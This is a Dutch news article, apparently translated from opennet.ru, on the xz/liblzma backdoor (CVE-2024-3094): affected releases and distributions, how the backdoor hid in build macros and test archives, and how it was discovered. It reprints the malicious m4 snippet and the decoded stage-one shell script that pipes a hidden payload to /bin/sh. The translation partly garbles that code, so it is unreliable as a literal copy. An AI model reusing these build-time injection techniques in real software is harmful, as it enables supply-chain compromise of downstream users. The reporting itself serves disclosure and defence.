Er is een achterdeur ontdekt in de xz/liblzma-bibliotheek die toegang via sshd mogelijk maakt

In het XZ Utils-pakket, dat de liblzma-bibliotheek en hulpprogramma's bevat voor het werken met gecomprimeerde gegevens in het ".xz"-formaat, is een achterdeur (CVE-2024-3094) geïdentificeerd die het onderscheppen en wijzigen mogelijk maakt van gegevens die worden verwerkt door applicaties die zijn gekoppeld met de liblzma-bibliotheek. Het belangrijkste doelwit van de achterdeur is de OpenSSH-server, die in sommige distributies is gebundeld met de libsystemd-bibliotheek, die op zijn beurt liblzma gebruikt. Door sshd te koppelen aan een kwetsbare bibliotheek kunnen aanvallers zonder authenticatie toegang krijgen tot de SSH-server.

De achterdeur was aanwezig in de officiële releases 5.6.0 en 5.6.1, gepubliceerd op 24 februari en 9 maart, die erin slaagden in sommige distributies en repositories te komen, bijvoorbeeld Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide en 40-bèta, openSUSE-fabriek en tumbleweed, LibreELEC, Alpine edge, Solus, NixOS instabiel, OpenIndiana, OpenMandriva rolling, pkgsrc-stroom, Slackware-stroom, Manjaro-testen. Alle gebruikers van xz 5.6.0 en 5.6.1 releases wordt aangeraden dringend terug te gaan naar versie 5.4.6.

Onder de factoren die het probleem verzachten, kan worden opgemerkt dat de versie van liblzma met een achterdeur er niet in slaagde deel uit te maken van de stabiele releases van grote distributies, maar openSUSE Tumbleweed en Fedora 40-bèta beïnvloedde. Arch Linux en Gentoo gebruikten een kwetsbare versie van zx, maar zijn niet vatbaar voor de aanval omdat ze de systemd-notify-patch niet toepassen op openssh, waardoor sshd wordt gekoppeld aan liblzma. De achterdeur heeft alleen invloed op x86_64-systemen die zijn gebaseerd op de Linux-kernel en de Glibc C-bibliotheek.

De achterdeuractiveringscode was verborgen in m4-macro's in het build-to-host.m4-bestand dat door de automake-toolkit werd gebruikt tijdens het bouwen. Tijdens de montage, tijdens de uitvoering van ingewikkelde, versluierde bewerkingen op basis van archieven (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), gebruikt om de juistheid van de werking te testen, werd een objectbestand met kwaadaardige code gegenereerd, dat was opgenomen in de liblzma-bibliotheek en veranderde de bedieningslogica van enkele van zijn functies. Backdoor-activerende m4-macro's waren opgenomen in de tarballs van de release, maar waren niet beschikbaar in de Git-repository. Tegelijkertijd waren er kwaadaardige testarchieven aanwezig in de repository, d.w.z. de persoon die de achterdeur implementeerde had toegang tot zowel de repository als de processen voor het genereren van releases.

Bij het gebruik van liblzma in toepassingen kunnen kwaadaardige wijzigingen worden gebruikt om gegevens te onderscheppen of te wijzigen, of om de werking van sshd te beïnvloeden. In het bijzonder vervalste de kwaadaardige code de RSA_public_decrypt-functie om het sshd-authenticatieproces te omzeilen. De achterdeur omvatte bescherming tegen detectie en manifesteerde zich niet wanneer de omgevingsvariabelen LANG en TERM waren ingesteld (dat wil zeggen bij het uitvoeren van het proces in de terminal) en de omgevingsvariabelen LD_DEBUG en LD_PROFILE niet waren ingesteld, en werd ook alleen geactiveerd bij het uitvoeren van de /usr/sbin/sshd uitvoerbaar bestand . De achterdeur had ook een manier om de uitvoering in debug-omgevingen te detecteren.

In het bijzonder gebruikte het bestand m4/build-to-host.m4 gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

In de eerste constructie vond de grep-bewerking het bestand tests/files/bad-3-corrupt_lzma2.xz, dat, wanneer het werd uitgepakt, het script genereerde: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd - c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd - c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/ dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Wereld####

Hoe de aanvallers toegang wisten te krijgen tot de infrastructuur van het xz-project is nog niet volledig opgehelderd. Ook is nog niet duidelijk hoeveel gebruikers en projecten door de achterdeur in gevaar zijn gekomen. De vermeende auteur van de achterdeur (JiaT75 - Jia Tan), die archieven met kwaadaardige code in de repository plaatste, correspondeerde met Fedora-ontwikkelaars en stuurde pull-verzoeken naar Debian met betrekking tot de overgang van distributies naar de xz 5.6.0-tak, en deed dat niet. argwaan wekken, aangezien hij deelnam aan xz is de afgelopen twee jaar aan het ontwikkelen en is de tweede ontwikkelaar in termen van het aantal aangebrachte wijzigingen. Naast het xz-project nam de vermeende auteur van de achterdeur ook deel aan de ontwikkeling van de xz-java- en xz-embedded-pakketten. Bovendien werd Jia Tan een paar dagen geleden opgenomen in het aantal beheerders van het XZ Embedded-project dat in de Linux-kernel wordt gebruikt.

De kwaadaardige wijziging werd ontdekt na het analyseren van overmatig CPU-verbruik en fouten gegenereerd door valgrind bij het verbinden via ssh met op Debian sid-gebaseerde systemen. Het is opmerkelijk dat de xz 5.6.1-uitgave wijzigingen bevatte die waren voorbereid door de vermeende auteur van de achterdeur als reactie op klachten over sshd-vertragingen en crashes die ontstonden na het upgraden naar de zx 5.6.0-versie met de achterdeur. Bovendien heeft Jia Tan vorig jaar wijzigingen aangebracht die niet compatibel waren met de inspectiemodus "-fsanitize=address", waardoor deze tijdens fuzz-tests werd uitgeschakeld.

Bron: opennet.ru

Voeg een reactie